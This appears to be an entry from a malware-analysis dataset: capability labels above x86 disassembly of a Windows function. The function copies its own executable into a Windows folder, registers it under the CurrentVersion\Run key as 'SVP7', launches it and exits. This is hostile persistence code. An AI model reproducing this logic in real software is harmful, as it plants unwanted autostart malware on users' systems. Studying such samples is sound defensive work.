Function at 0x1000a73a
Capabilities:
Persist via run registry key
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x213]
mov byte [ebp - 0x214], bl
mov esi, 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x214]
push esi
push eax
push ebx
call dword [0x1001a3b0]
call dword [0x1001a36c]
push eax
push ebx
push 0x1f0fff
call dword [0x1001a380]
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], esi
push ecx
lea ecx, [ebp - 0x214]
push ecx
push ebx
push eax
call dword [0x1001a390]
lea eax, [ebp - 0x214]
push eax
call dword [0x1001a4f4]
push ebx
lea eax, [ebp - 0x110]
push 0x1c
push eax
push ebx
call dword [0x1001a4dc]
push ebx
lea eax, [ebp - 0x318]
push 0x1c
push eax
push ebx
call dword [0x1001a4dc]
lea eax, [ebp - 0x110]
push eax
call dword [0x1001a4e8]
test eax, eax
lea eax, [ebp - 0x110]
push eax
je 0x1000a804
call dword [0x1001a4f0]
lea eax, [ebp - 0x318]
push eax
call dword [0x1001a4f0]
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x110]
jmp 0x1000a847
mov esi, dword [sym.imp.SHLWAPI.dll_PathStripToRootA]
call esi
lea eax, [ebp - 0x110]
push 0x10018ff0
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x318]
push eax
call esi
push str.Windows_
lea eax, [ebp - 0x318]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x110]
pop ecx
push eax
call dword [0x1001a4e8]
test eax, eax
jne 0x1000a985
cmp dword [0x1001a6c8], 1
jne 0x1000a877
push 0x1001a294
call fcn.1000566e
lea eax, [ebp - 0x318]
push 0x10019008
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x318]
pop ecx
push ebx
push eax
push 0x10019014
call dword [0x1001a35c]
lea eax, [ebp - 0x110]
push ebx
push eax
lea eax, [ebp - 0x214]
push eax
call dword [0x1001a35c]
test eax, eax
je 0x1000a985
cmp dword [0x1001a26c], 1
jne 0x1000a8c8
call fcn.1000343e
movzx eax, word [0x1001a526]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [0x1001a3a0]
movzx eax, word [0x1001a526]
push eax
lea eax, [ebp - 0x110]
push eax
call dword [0x1001a3a0]
push 0xb
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
pop ecx
lea edi, [ebp - 0x418]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x34
xor eax, eax
pop ecx
lea edi, [ebp - 0x3ea]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 8]
mov dword [ebp - 8], 2
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0xf003f
push ebx
push ebx
lea eax, [ebp - 0x418]
push ebx
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x110]
push eax
push 1
push ebx
push str.SVP7
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push ebx
push ebx
lea eax, [ebp - 0x110]
push ebx
push eax
push ebx
push ebx
call dword [0x1001a4e0]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x1001a6bc], 1
jne 0x1000a993
call fcn.100038d7
call fcn.1000a301
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret